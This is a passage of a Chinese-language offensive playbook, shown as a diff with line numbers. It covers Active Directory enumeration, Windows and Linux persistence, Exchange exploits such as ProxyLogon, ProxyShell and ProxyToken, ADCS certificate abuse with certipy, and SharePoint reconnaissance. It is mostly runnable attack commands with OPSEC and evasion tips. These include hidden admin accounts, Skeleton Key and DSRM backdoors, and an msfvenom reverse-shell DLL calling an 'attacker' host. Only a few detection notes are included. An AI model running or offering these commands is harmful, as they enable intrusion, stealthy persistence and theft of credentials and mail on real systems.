+ ```
3877
+ Get-NetGPPPassword
3878
+ ```
3879
+
3880
+ **5. 查找可利用GPO** _[windows]_
3881
+ _查找用户受哪些GPO影响_
3882
+ ```
3883
+ Find-GPOLocation -UserName user
3884
+ ```
3885
+
3886
+ **分析:** GPO枚举可以发现组策略配置、GPP密码、受限组等信息。
3887
+
3888
+ **OPSEC:** GPP密码是常见的信息泄露点;GPO可能包含敏感配置;注意GPO修改权限
3889
+
3890
+ ---
3891
+
3892
+ ### ACL枚举 `acl-enum`
3893
+ 枚举访问控制列表
3894
+ 子类:**ACL** · tags: `acl` `access-control` `enumeration`
3895
+
3896
+ **前置条件:** 域环境;任意域用户凭证
3897
+
3898
+ **攻击链:**
3899
+
3900
+ **1. PowerView ACL枚举** _[windows]_
3901
+ _获取用户对象的ACL_
3902
+ ```
3903
+ Get-ObjectAcl -SamAccountName user -ResolveGUIDs
3904
+ ```
3905
+
3906
+ **2. 查找危险权限** _[windows]_
3907
+ _查找有趣的ACL权限_
3908
+ ```
3909
+ Find-InterestingDomainAcl -ResolveGUIDs
3910
+ ```
3911
+
3912
+ **3. 查找WriteDACL** _[windows]_
3913
+ _查找WriteDACL权限_
3914
+ ```
3915
+ Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"}
3916
+ ```
3917
+
3918
+ **4. 查找GenericAll** _[windows]_
3919
+ _查找GenericAll权限_
3920
+ ```
3921
+ Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"}
3922
+ ```
3923
+
3924
+ **5. BloodHound ACL分析**
3925
+ _BloodHound查询ACL关系_
3926
+ ```
3927
+ MATCH (n)-[r:AllExtendedRights]->(m) RETURN n,m
3928
+ ```
3929
+
3930
+ **分析:** ACL枚举可以发现权限配置错误,如WriteDACL、GenericAll等危险权限。
3931
+
3932
+ **OPSEC:** ACL错误配置是常见的提权路径;重点关注高价值目标;BloodHound可可视化ACL关系
3933
+
3934
+ ---
3935
+
3936
+ ### 信任关系枚举 `trust-enum`
3937
+ 枚举域信任关系
3938
+ 子类:**信任关系** · tags: `trust` `enumeration` `active-directory`
3939
+
3940
+ **前置条件:** 域环境;任意域用户凭证
3941
+
3942
+ **攻击链:**
3943
+
3944
+ **1. 域信任关系** _[windows]_
3945
+ _列出域信任关系_
3946
+ ```
3947
+ nltest /domain_trusts
3948
+ ```
3949
+
3950
+ **2. PowerView枚举** _[windows]_
3951
+ _使用PowerView枚举信任关系_
3952
+ ```
3953
+ Get-NetDomainTrust
3954
+ ```
3955
+
3956
+ **3. 森林信任** _[windows]_
3957
+ _枚举森林信任关系_
3958
+ ```
3959
+ Get-NetForestTrust
3960
+ ```
3961
+
3962
+ **4. 信任详细信息** _[windows]_
3963
+ _查看信任详细信息_
3964
+ ```
3965
+ Get-NetDomainTrust | select SourceDomain,TargetDomain,TrustType,TrustDirection
3966
+ ```
3967
+
3968
+ **分析:** 信任关系枚举可以发现跨域/跨森林攻击路径。
3969
+
3970
+ **OPSEC:** 信任关系可能提供跨域攻击路径;关注双向信任;注意SID历史问题
3971
+
3972
+ ---
3973
+
3974
+ ### 计算机枚举 `computer-enum`
3975
+ 枚举域内计算机
3976
+ 子类:**计算机** · tags: `computer` `enumeration` `active-directory`
3977
+
3978
+ **前置条件:** 域环境;任意域用户凭证
3979
+
3980
+ **攻击链:**
3981
+
3982
+ **1. 列出域计算机** _[windows]_
3983
+ _列出域计算机_
3984
+ ```
3985
+ net group "Domain Computers" /domain
3986
+ ```
3987
+
3988
+ **2. PowerView枚举** _[windows]_
3989
+ _使用PowerView枚举计算机_
3990
+ ```
3991
+ Get-NetComputer | select name,operatingsystem,ipv4address
3992
+ ```
3993
+
3994
+ **3. 查找域控制器** _[windows]_
3995
+ _查找域控制器_
3996
+ ```
3997
+ Get-NetComputer -DomainController
3998
+ ```
3999
+
4000
+ **4. 查找特定系统** _[windows]_
4001
+ _查找特定操作系统_
4002
+ ```
4003
+ Get-NetComputer -OperatingSystem "*Server 2019*"
4004
+ ```
4005
+
4006
+ **5. 查找活跃计算机** _[windows]_
4007
+ _查找在线计算机_
4008
+ ```
4009
+ Get-NetComputer -Ping
4010
+ ```
4011
+
4012
+ **6. 查找管理员会话** _[windows]_
4013
+ _查找域管理员登录位置_
4014
+ ```
4015
+ Find-DomainUserLocation
4016
+ ```
4017
+
4018
+ **分析:** 计算机枚举可以发现域内所有计算机,识别高价值目标。
4019
+
4020
+ **OPSEC:** 计算机枚举是正常操作;重点关注域控制器和服务器;查找管理员会话
4021
+
4022
+ ---
4023
+
4024
+
4025
+ ## 权限维持
4026
+
4027
+ ### 注册表持久化 `persistence-registry`
4028
+ 通过注册表实现权限维持
4029
+ 子类:**注册表** · tags: `persistence` `registry` `windows` `autorun`
4030
+
4031
+ **前置条件:** 已获得目标机器权限;管理员权限;Windows系统
4032
+
4033
+ **攻击链:**
4034
+
4035
+ **1. Run键持久化** _[windows]_
4036
+ _添加Run键实现开机自启_
4037
+ ```
4038
+ reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f
4039
+ ```
4040
+
4041
+ **2. RunOnce键** _[windows]_
4042
+ _RunOnce键,执行一次后删除_
4043
+ ```
4044
+ reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f
4045
+ ```
4046
+
4047
+ **3. Winlogon Helper** _[windows]_
4048
+ _修改Userinit实现持久化_
4049
+ ```
4050
+ reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\backdoor.exe" /f
4051
+ ```
4052
+
4053
+ **4. 服务持久化** _[windows]_
4054
+ _创建服务实现持久化_
4055
+ ```
4056
+ sc create Backdoor binPath= "C:\backdoor.exe" start= auto
4057
+ ```
4058
+
4059
+ **EDR 绕过变体:**
4060
+
4061
+ **1. 隐藏注册表键**
4062
+ _使用空字节隐藏注册表键_
4063
+ ```
4064
+ reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\x00" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f
4065
+ ```
4066
+
4067
+ **分析:** 注册表持久化会在系统启动或用户登录时执行恶意程序。
4068
+
4069
+ **OPSEC:** Run键是最常见的持久化方式,容易被检测;考虑使用更隐蔽的方式;定期检查注册表异常项
4070
+
4071
+ ---
4072
+
4073
+ ### WMI持久化 `persistence-wmi`
4074
+ 通过WMI事件订阅实现持久化
4075
+ 子类:**WMI** · tags: `wmi` `persistence` `windows`
4076
+
4077
+ **前置条件:** 管理员权限
4078
+
4079
+ **攻击链:**
4080
+
4081
+ **1. 创建事件过滤器** _[windows]_
4082
+ _创建WMI事件过滤器_
4083
+ ```
4084
+ $filter = New-WmiEventFilter -Name "evil" -Query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
4085
+ ```
4086
+
4087
+ **2. 创建事件消费者** _[windows]_
4088
+ _创建命令行消费者_
4089
+ ```
4090
+ $consumer = New-WmiEventConsumer -Name "evil" -CommandLineTemplate "powershell -e BASE64_CMD"
4091
+ ```
4092
+
4093
+ **3. 绑定过滤器和消费者** _[windows]_
4094
+ _绑定触发执行_
4095
+ ```
4096
+ New-WmiFilterToConsumerBinding -Filter $filter -Consumer $consumer
4097
+ ```
4098
+
4099
+ ---
4100
+
4101
+ ### 启动文件夹持久化 `persistence-startup`
4102
+ 通过启动文件夹实现持久化
4103
+ 子类:**启动文件夹** · tags: `startup` `persistence` `windows`
4104
+
4105
+ **前置条件:** 写入权限
4106
+
4107
+ **攻击链:**
4108
+
4109
+ **1. 当前用户启动文件夹** _[windows]_
4110
+ _当前用户启动_
4111
+ ```
4112
+ copy evil.lnk "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
4113
+ ```
4114
+
4115
+ **2. 所有用户启动文件夹** _[windows]_
4116
+ _所有用户启动_
4117
+ ```
4118
+ copy evil.lnk "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
4119
+ ```
4120
+
4121
+ ---
4122
+
4123
+ ### 服务持久化 `persistence-service`
4124
+ 通过创建服务实现持久化
4125
+ 子类:**服务** · tags: `service` `persistence` `windows`
4126
+
4127
+ **前置条件:** 管理员权限
4128
+
4129
+ **攻击链:**
4130
+
4131
+ **1. 创建服务** _[windows]_
4132
+ _创建自启动服务_
4133
+ ```
4134
+ sc create evilsvc binPath= "cmd /c powershell -e BASE64_CMD" start= auto
4135
+ ```
4136
+
4137
+ **2. 启动服务** _[windows]_
4138
+ _启动服务_
4139
+ ```
4140
+ sc start evilsvc
4141
+ ```
4142
+
4143
+ ---
4144
+
4145
+ ### DLL注入持久化 `persistence-dll-injection`
4146
+ 通过DLL注入实现持久化
4147
+ 子类:**DLL注入** · tags: `dll` `injection` `persistence`
4148
+
4149
+ **前置条件:** 代码执行权限;目标进程
4150
+
4151
+ **攻击链:**
4152
+
4153
+ **1. 创建恶意DLL** _[linux]_
4154
+ _生成恶意DLL_
4155
+ ```
4156
+ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll
4157
+ ```
4158
+
4159
+ **2. 注入DLL** _[windows]_
4160
+ _将DLL注入到运行进程_
4161
+ ```
4162
+ 使用工具如InjectDLL、PowerShell等注入到目标进程
4163
+ ```
4164
+
4165
+ **3. AppInit_DLLs** _[windows]_
4166
+ _通过AppInit_DLLs注入_
4167
+ ```
4168
+ reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\evil.dll" /f
4169
+ ```
4170
+
4171
+ ---
4172
+
4173
+ ### 后门用户 `persistence-backdoor-user`
4174
+ 创建后门用户账户
4175
+ 子类:**用户** · tags: `user` `backdoor` `persistence`
4176
+
4177
+ **前置条件:** 管理员权限
4178
+
4179
+ **攻击链:**
4180
+
4181
+ **1. 创建用户** _[windows]_
4182
+ _创建管理员用户_
4183
+ ```
4184
+ net user backdoor P@ssw0rd /add
4185
+ net localgroup administrators backdoor /add
4186
+ ```
4187
+
4188
+ **2. 隐藏用户** _[windows]_
4189
+ _创建隐藏用户($结尾)_
4190
+ ```
4191
+ net user backdoor$ P@ssw0rd /add
4192
+ ```
4193
+
4194
+ **3. 修改注册表隐藏** _[windows]_
4195
+ _通过注册表隐藏用户_
4196
+ ```
4197
+ reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\backdoor$" /f
4198
+ ```
4199
+
4200
+ ---
4201
+
4202
+ ### 隐藏用户 `persistence-hidden-user`
4203
+ 创建隐藏的管理员用户
4204
+ 子类:**隐藏用户** · tags: `hidden` `user` `persistence`
4205
+
4206
+ **前置条件:** SYSTEM权限
4207
+
4208
+ **攻击链:**
4209
+
4210
+ **1. 创建用户** _[windows]_
4211
+ _创建$结尾用户_
4212
+ ```
4213
+ net user hidden$ P@ssw0rd /add
4214
+ ```
4215
+
4216
+ **2. 添加到管理员组** _[windows]_
4217
+ _添加管理员权限_
4218
+ ```
4219
+ net localgroup administrators hidden$ /add
4220
+ ```
4221
+
4222
+ **3. 注册表隐藏** _[windows]_
4223
+ _通过注册表完全隐藏_
4224
+ ```
4225
+ reg export "HKLM\SAM\SAM\Domains\Account\Users\000003E9" user.reg
4226
+ 修改F值
4227
+ reg import user.reg
4228
+ ```
4229
+
4230
+ ---
4231
+
4232
+ ### 计划任务持久化 `persistence-scheduled`
4233
+ 通过计划任务实现持久化
4234
+ 子类:**计划任务** · tags: `persistence` `scheduled` `task`
4235
+
4236
+ **前置条件:** 创建任务权限
4237
+
4238
+ **攻击链:**
4239
+
4240
+ **1. 创建登录任务** _[windows]_
4241
+ _创建登录时运行的任务_
4242
+ ```
4243
+ schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM
4244
+ ```
4245
+
4246
+ **2. 创建定时任务** _[windows]_
4247
+ _创建每5分钟运行的任务_
4248
+ ```
4249
+ schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc minute /mo 5
4250
+ ```
4251
+
4252
+ **3. PowerShell创建** _[windows]_
4253
+ _使用PowerShell创建任务_
4254
+ ```
4255
+ $action = New-ScheduledTaskAction -Execute "C:\backdoor.exe"
4256
+ $trigger = New-ScheduledTaskTrigger -AtLogon
4257
+ Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Backdoor" -User "System"
4258
+ ```
4259
+
4260
+ **4. Linux Cron** _[linux]_
4261
+ _Linux计划任务_
4262
+ ```
4263
+ crontab -e
4264
+ 添加: * * * * * /tmp/backdoor.sh
4265
+ 或: @reboot /tmp/backdoor.sh
4266
+ ```
4267
+
4268
+ ---
4269
+
4270
+ ### Skeleton Key后门 `skeleton-key`
4271
+ 在域控制器植入万能密码
4272
+ 子类:**域后门** · tags: `skeleton-key` `backdoor` `domain`
4273
+
4274
+ **前置条件:** 域管理员权限;访问域控制器
4275
+
4276
+ **攻击链:**
4277
+
4278
+ **1. 植入Skeleton Key** _[windows]_
4279
+ _使用Mimikatz植入_
4280
+ ```
4281
+ mimikatz # privilege::debug
4282
+ mimikatz # misc::skeleton
4283
+ ```
4284
+
4285
+ **2. 使用万能密码** _[windows]_
4286
+ _使用万能密码登录_
4287
+ ```
4288
+ 万能密码: mimikatz
4289
+ 任何域用户都可以使用mimikatz作为密码登录
4290
+ ```
4291
+
4292
+ **3. 检测方法** _[windows]_
4293
+ _检测Skeleton Key_
4294
+ ```
4295
+ 检查LSASS内存:
4296
+ Get-Process lsass
4297
+ 使用EDR检测内存注入
4298
+ ```
4299
+
4300
+ ---
4301
+
4302
+ ### DSRM后门 `dsrm-backdoor`
4303
+ 利用DSRM账户建立后门
4304
+ 子类:**域后门** · tags: `dsrm` `backdoor` `domain`
4305
+
4306
+ **前置条件:** 域管理员权限;访问域控制器
4307
+
4308
+ **攻击链:**
4309
+
4310
+ **1. 获取DSRM密码** _[windows]_
4311
+ _获取DSRM账户哈希_
4312
+ ```
4313
+ mimikatz # lsadump::lsa /patch /name:krbtgt
4314
+
4315
+ mimikatz # token::elevate
4316
+ mimikatz # lsadump::sam
4317
+ ```
4318
+
4319
+ **2. 同步DSRM密码** _[windows]_
4320
+ _同步DSRM密码与域管理员_
4321
+ ```
4322
+ ntdsutil
4323
+ set dsrm password
4324
+ sync from domain account admin
4325
+ q
4326
+ q
4327
+ ```
4328
+
4329
+ **3. 启用DSRM账户** _[windows]_
4330
+ _允许DSRM账户远程登录_
4331
+ ```
4332
+ 修改注册表:
4333
+ New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
4334
+ ```
4335
+
4336
+ **4. 使用DSRM登录** _[windows]_
4337
+ _使用DSRM账户_
4338
+ ```
4339
+ 使用DSRM账户哈希:
4340
+ mimikatz # sekurlsa::pth /domain:DC_NAME /user:Administrator /ntlm:HASH
4341
+ 或使用Pass-the-Hash
4342
+ ```
4343
+
4344
+ ---
4345
+
4346
+ ### SID History后门 `sid-history`
4347
+ 利用SID History建立后门
4348
+ 子类:**域后门** · tags: `sid-history` `backdoor` `domain`
4349
+
4350
+ **前置条件:** 域管理员权限
4351
+
4352
+ **攻击链:**
4353
+
4354
+ **1. 添加SID History** _[windows]_
4355
+ _添加SID History_
4356
+ ```
4357
+ mimikatz # sid::add /sam:backdoor_user /new:administrator
4358
+ 将域管SID添加到普通用户
4359
+ ```
4360
+
4361
+ **2. 验证SID History** _[windows]_
4362
+ _检查SID History_
4363
+ ```
4364
+ Get-ADUser backdoor_user -Properties sidHistory
4365
+
4366
+ whoami /all
4367
+ ```
4368
+
4369
+ **3. 使用后门** _[windows]_
4370
+ _使用后门账户_
4371
+ ```
4372
+ 使用backdoor_user登录
4373
+ 自动获得域管理员权限
4374
+ ```
4375
+
4376
+ ---
4377
+
4378
+ ### 进程镂空持久化 `persistence-process-hollowing`
4379
+ 利用进程镂空技术实现持久化
4380
+ 子类:**进程注入** · tags: `process-hollowing` `persistence` `injection`
4381
+
4382
+ **前置条件:** 代码执行权限
4383
+
4384
+ **攻击链:**
4385
+
4386
+ **1. 进程镂空原理** _[windows]_
4387
+ _进程镂空原理_
4388
+ ```
4389
+ 1. 创建合法进程(挂起状态)
4390
+ 2. 替换进程内存
4391
+ 3. 恢复执行
4392
+ ```
4393
+
4394
+ **2. C#实现** _[windows]_
4395
+ _C#进程镂空_
4396
+ ```
4397
+ using System.Runtime.InteropServices;
4398
+ // 创建挂起进程
4399
+ CreateProcess("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ...);
4400
+ // 替换内存
4401
+ NtUnmapViewOfSection(...);
4402
+ VirtualAllocEx(...);
4403
+ WriteProcessMemory(...);
4404
+ ResumeThread(...);
4405
+ ```
4406
+
4407
+ **3. 检测方法** _[windows]_
4408
+ _检测进程镂空_
4409
+ ```
4410
+ 检查进程内存:
4411
+ - 进程路径与内存内容不匹配
4412
+ - 异常的内存区域
4413
+ - 使用EDR检测
4414
+ ```
4415
+
4416
+ ---
4417
+
4418
+
4419
+ ## Exchange攻击
4420
+
4421
+ ### ProxyLogon攻击 `proxylogon`
4422
+ CVE-2021-26855 Exchange SSRF
4423
+ 子类:**ProxyLogon** · tags: `exchange` `proxylogon` `cve-2021-26855`
4424
+
4425
+ **前置条件:** Exchange可访问
4426
+
4427
+ **攻击链:**
4428
+
4429
+ **1. 探测漏洞** _[linux]_
4430
+ _检查Exchange版本_
4431
+ ```
4432
+ curl -k https://exchange.com/owa/auth/x.js
4433
+ 检查Exchange版本
4434
+ ```
4435
+
4436
+ **2. 利用脚本** _[linux]_
4437
+ _利用ProxyLogon_
4438
+ ```
4439
+ python proxylogon.py -u https://exchange.com -e admin@domain.com
4440
+ 获取管理员邮箱访问权限
4441
+ ```
4442
+
4443
+ **3. 手动利用**
4444
+ _手动构造请求_
4445
+ ```
4446
+ POST /owa/auth/x.js HTTP/1.1
4447
+ Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3;
4448
+ X-ClientId=xxx
4449
+
4450
+ 构造SSRF请求
4451
+ ```
4452
+
4453
+ ---
4454
+
4455
+ ### ProxyShell攻击 `proxyshell`
4456
+ CVE-2021-34473 Exchange RCE
4457
+ 子类:**ProxyShell** · tags: `exchange` `proxyshell` `cve-2021-34473`
4458
+
4459
+ **前置条件:** Exchange可访问
4460
+
4461
+ **攻击链:**
4462
+
4463
+ **1. 探测漏洞** _[linux]_
4464
+ _探测漏洞_
4465
+ ```
4466
+ curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com"
4467
+ 检查是否存在漏洞
4468
+ ```
4469
+
4470
+ **2. 利用脚本** _[linux]_
4471
+ _利用ProxyShell_
4472
+ ```
4473
+ python proxyshell.py -u https://exchange.com -e admin@domain.com
4474
+ 获取邮箱访问并执行命令
4475
+ ```
4476
+
4477
+ **3. 获取邮件**
4478
+ _访问邮箱_
4479
+ ```
4480
+ GET /autodiscover/autodiscover.json?@domain.com/owa/?&Email=admin@domain.com HTTP/1.1
4481
+ 访问邮箱内容
4482
+ ```
4483
+
4484
+ ---
4485
+
4486
+ ### Exchange枚举 `exchange-enum`
4487
+ 枚举Exchange服务和配置
4488
+ 子类:**枚举** · tags: `exchange` `enum` `recon`
4489
+
4490
+ **前置条件:** Exchange可访问
4491
+
4492
+ **攻击链:**
4493
+
4494
+ **1. 版本探测** _[linux]_
4495
+ _探测Exchange版本_
4496
+ ```
4497
+ curl -k https://exchange.com/owa/auth/logon.aspx
4498
+ 检查页面源码获取版本信息
4499
+ ```
4500
+
4501
+ **2. Autodiscover** _[linux]_
4502
+ _Autodiscover枚举_
4503
+ ```
4504
+ curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml
4505
+ 获取Exchange配置信息
4506
+ ```
4507
+
4508
+ **3. 邮箱枚举** _[linux]_
4509
+ _枚举邮箱用户_
4510
+ ```
4511
+ python oab.py https://exchange.com
4512
+ 下载离线通讯录枚举用户
4513
+ ```
4514
+
4515
+ **4. NTLM泄露** _[linux]_
4516
+ _NTLM信息泄露_
4517
+ ```
4518
+ curl -k https://exchange.com/autodiscover/autodiscover.xml
4519
+ 从WWW-Authenticate头获取域信息
4520
+ ```
4521
+
4522
+ ---
4523
+
4524
+ ### ProxyToken攻击 `exchange-proxytoken`
4525
+ 利用Exchange ProxyToken绕过认证
4526
+ 子类:**ProxyToken** · tags: `exchange` `proxytoken` `bypass`
4527
+
4528
+ **前置条件:** Exchange服务器;存在漏洞
4529
+
4530
+ **攻击链:**
4531
+
4532
+ **1. 检测漏洞** _[linux]_
4533
+ _检测漏洞_
4534
+ ```
4535
+ 使用ProxyToken工具:
4536
+ python proxytoken.py -u https://exchange.com -e user@domain.com
4537
+ 检测是否存在漏洞
4538
+ ```
4539
+
4540
+ **2. 利用漏洞** _[linux]_
4541
+ _获取邮箱访问_
4542
+ ```
4543
+ python proxytoken.py -u https://exchange.com -e user@domain.com -a
4544
+ 获取用户邮箱访问权限
4545
+ ```
4546
+
4547
+ **3. 访问邮箱**
4548
+ _访问EWS接口_
4549
+ ```
4550
+ curl -k https://exchange.com/ews/Exchange.asmx -H "X-ClientApplication: Test"
4551
+ 绕过认证访问EWS
4552
+ ```
4553
+
4554
+ ---
4555
+
4556
+ ### Exchange邮箱访问 `exchange-mailbox-access`
4557
+ 通过各种方式访问Exchange邮箱
4558
+ 子类:**邮箱访问** · tags: `exchange` `mailbox` `access`
4559
+
4560
+ **前置条件:** Exchange凭证或漏洞
4561
+
4562
+ **攻击链:**
4563
+
4564
+ **1. OWA访问**
4565
+ _OWA Web访问_
4566
+ ```
4567
+ https://exchange.com/owa
4568
+ 使用凭证登录OWA
4569
+ 查看邮件、日历等
4570
+ ```
4571
+
4572
+ **2. EWS访问** _[linux]_
4573
+ _EWS API访问_
4574
+ ```
4575
+ 使用Impacket:
4576
+ python exchanger.py domain/user:password@exchange.com
4577
+ 或使用EWSTools
4578
+ ```
4579
+
4580
+ **3. Outlook MAPI** _[windows]_
4581
+ _Outlook客户端_
4582
+ ```
4583
+ 配置Outlook连接Exchange
4584
+ 使用MAPI协议访问邮箱
4585
+ 支持邮件、日历、联系人
4586
+ ```
4587
+
4588
+ **4. 导出邮箱** _[windows]_
4589
+ _导出邮箱_
4590
+ ```
4591
+ PowerShell:
4592
+ New-MailboxExportRequest -Mailbox user@domain.com -FilePath "\\server\share\user.pst"
4593
+ 导出邮箱为PST文件
4594
+ ```
4595
+
4596
+ ---
4597
+
4598
+
4599
+ ## ADCS攻击
4600
+
4601
+ ### ADCS ESC2攻击 `adcs-esc2`
4602
+ 利用ESC2模板配置错误
4603
+ 子类:**ESC2** · tags: `adcs` `esc2` `certificate`
4604
+
4605
+ **前置条件:** 域环境;ADCS服务;存在ESC2模板
4606
+
4607
+ **攻击链:**
4608
+
4609
+ **1. 探测ESC2模板** _[linux]_
4610
+ _探测ESC2模板_
4611
+ ```
4612
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
4613
+ 查找Any Purpose或CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT模板
4614
+ ```
4615
+
4616
+ **2. 请求证书** _[linux]_
4617
+ _请求管理员证书_
4618
+ ```
4619
+ certipy req -u user@domain.com -p password -ca CA_NAME -target DC_IP -template VULNERABLE_TEMPLATE -upn administrator@domain.com
4620
+ ```
4621
+
4622
+ **3. 使用证书认证** _[linux]_
4623
+ _使用证书认证_
4624
+ ```
4625
+ certipy auth -pfx administrator.pfx -dc-ip DC_IP
4626
+ 获取管理员TGT
4627
+ ```
4628
+
4629
+ ---
4630
+
4631
+ ### ADCS ESC3攻击 `adcs-esc3`
4632
+ 利用ESC3注册代理配置错误
4633
+ 子类:**ESC3** · tags: `adcs` `esc3` `certificate`
4634
+
4635
+ **前置条件:** 域环境;ADCS服务;存在ESC3配置
4636
+
4637
+ **攻击链:**
4638
+
4639
+ **1. 探测ESC3** _[linux]_
4640
+ _探测ESC3配置_
4641
+ ```
4642
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
4643
+ 查找具有Enrollment Agent权限的模板
4644
+ ```
4645
+
4646
+ **2. 获取注册代理证书** _[linux]_
4647
+ _获取注册代理证书_
4648
+ ```
4649
+ certipy req -u user@domain.com -p password -ca CA_NAME -template EnrollmentAgent
4650
+ 获取注册代理证书
4651
+ ```
4652
+
4653
+ **3. 代表其他用户请求证书** _[linux]_
4654
+ _代表管理员请求证书_
4655
+ ```
4656
+ certipy req -u user@domain.com -p password -ca CA_NAME -template User -on-behalf-of DOMAIN\\Administrator -pfx agent.pfx
4657
+ ```
4658
+
4659
+ ---
4660
+
4661
+ ### ADCS ESC4攻击 `adcs-esc4`
4662
+ 利用ESC4模板权限配置错误
4663
+ 子类:**ESC4** · tags: `adcs` `esc4` `certificate`
4664
+
4665
+ **前置条件:** 域环境;ADCS服务;对模板有写权限
4666
+
4667
+ **攻击链:**
4668
+
4669
+ **1. 探测ESC4** _[linux]_
4670
+ _探测模板权限_
4671
+ ```
4672
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
4673
+ 查找用户有写权限的模板
4674
+ ```
4675
+
4676
+ **2. 修改模板配置** _[linux]_
4677
+ _修改模板配置_
4678
+ ```
4679
+ certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -save-old
4680
+ 修改模板为ESC1配置
4681
+ ```
4682
+
4683
+ **3. 请求证书** _[linux]_
4684
+ _请求管理员证书_
4685
+ ```
4686
+ certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE -upn administrator@domain.com
4687
+ ```
4688
+
4689
+ **4. 恢复模板配置** _[linux]_
4690
+ _恢复模板配置_
4691
+ ```
4692
+ certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -configuration old_config.json
4693
+ 恢复原配置避免检测
4694
+ ```
4695
+
4696
+ ---
4697
+
4698
+ ### ADCS ESC6攻击 `adcs-esc6`
4699
+ 利用ESC6编辑标志配置错误
4700
+ 子类:**ESC6** · tags: `adcs` `esc6` `certificate`
4701
+
4702
+ **前置条件:** 域环境;ADCS服务;CA启用EDITF_ATTRIBUTESUBJECTALTNAME2
4703
+
4704
+ **攻击链:**
4705
+
4706
+ **1. 探测ESC6** _[linux]_
4707
+ _探测CA配置_
4708
+ ```
4709
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
4710
+ 查找EDITF_ATTRIBUTESUBJECTALTNAME2标志
4711
+ ```
4712
+
4713
+ **2. 请求证书** _[linux]_
4714
+ _请求管理员证书_
4715
+ ```
4716
+ certipy req -u user@domain.com -p password -ca CA_NAME -template User -alt administrator@domain.com
4717
+ 使用-alt参数指定SAN
4718
+ ```
4719
+
4720
+ **3. 使用证书认证** _[linux]_
4721
+ _认证获取TGT_
4722
+ ```
4723
+ certipy auth -pfx administrator.pfx -dc-ip DC_IP
4724
+ ```
4725
+
4726
+ ---
4727
+
4728
+ ### ADCS ESC8攻击 `adcs-esc8`
4729
+ 利用ESC8 HTTP端点进行NTLM中继
4730
+ 子类:**ESC8** · tags: `adcs` `esc8` `ntlm-relay`
4731
+
4732
+ **前置条件:** 域环境;ADCS HTTP端点;可触发NTLM认证
4733
+
4734
+ **攻击链:**
4735
+
4736
+ **1. 探测ESC8** _[linux]_
4737
+ _探测HTTP端点_
4738
+ ```
4739
+ certipy find -u user@domain.com -p password -dc-ip DC_IP
4740
+ 查找HTTP证书端点
4741
+ ```
4742
+
4743
+ **2. 设置NTLM中继** _[linux]_
4744
+ _设置NTLM中继_
4745
+ ```
4746
+ impacket-ntlmrelayx -t http://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs
4747
+ 监听NTLM认证并中继到ADCS
4748
+ ```
4749
+
4750
+ **3. 触发认证**
4751
+ _触发目标NTLM认证_
4752
+ ```
4753
+ 使用多种方式触发:
4754
+ - 发送邮件链接
4755
+ - 打印机漏洞
4756
+ - WebDAV
4757
+ - 其他NTLM触发方式
4758
+ ```
4759
+
4760
+ ---
4761
+
4762
+
4763
+ ## SharePoint攻击
4764
+
4765
+ ### SharePoint枚举 `sharepoint-enum`
4766
+ 枚举SharePoint站点和文件
4767
+ 子类:**枚举** · tags: `sharepoint` `enum` `recon`
4768
+
4769
+ **前置条件:** SharePoint可访问
4770
+
4771
+ **攻击链:**
4772
+
4773
+ **1. 站点枚举** _[linux]_
4774
+ _枚举站点_
4775
+ ```
4776
+ curl -k https://sharepoint.com/_api/web/webs
4777
+ 获取所有子站点
4778
+ ```
4779
+
4780
+ **2. 用户枚举** _[linux]_
4781
+ _枚举用户_
4782
+ ```
4783
+ curl -k https://sharepoint.com/_api/web/siteusers
4784
+ 获取站点用户列表
4785
+ ```
4786
+
4787
+ **3. 文件枚举** _[linux]_
4788
+ _枚举文档库_
4789
+ ```
4790
+ curl -k https://sharepoint.com/_api/web/lists
4791
+ 获取文档库列表
4792
+ ```
4793
+
4794
+ **4. 搜索文件** _[linux]_
4795
+ _搜索敏感内容_
4796
+ ```
4797
+ curl -k "https://sharepoint.com/_api/search/query?querytext='password'"
4798
+ 搜索敏感文件
4799
+ ```
4800
+
4801
+ ---
4802
+
4803
+ ### SharePoint文件访问 `sharepoint-file-access`
4804
+ 访问SharePoint文档库中的文件
4805
+ 子类:**文件访问** · tags: `sharepoint` `file` `access`
4806
+
4807
+ **前置条件:** SharePoint凭证或漏洞
4808
+
4809
+ **攻击链:**
4810
+
4811
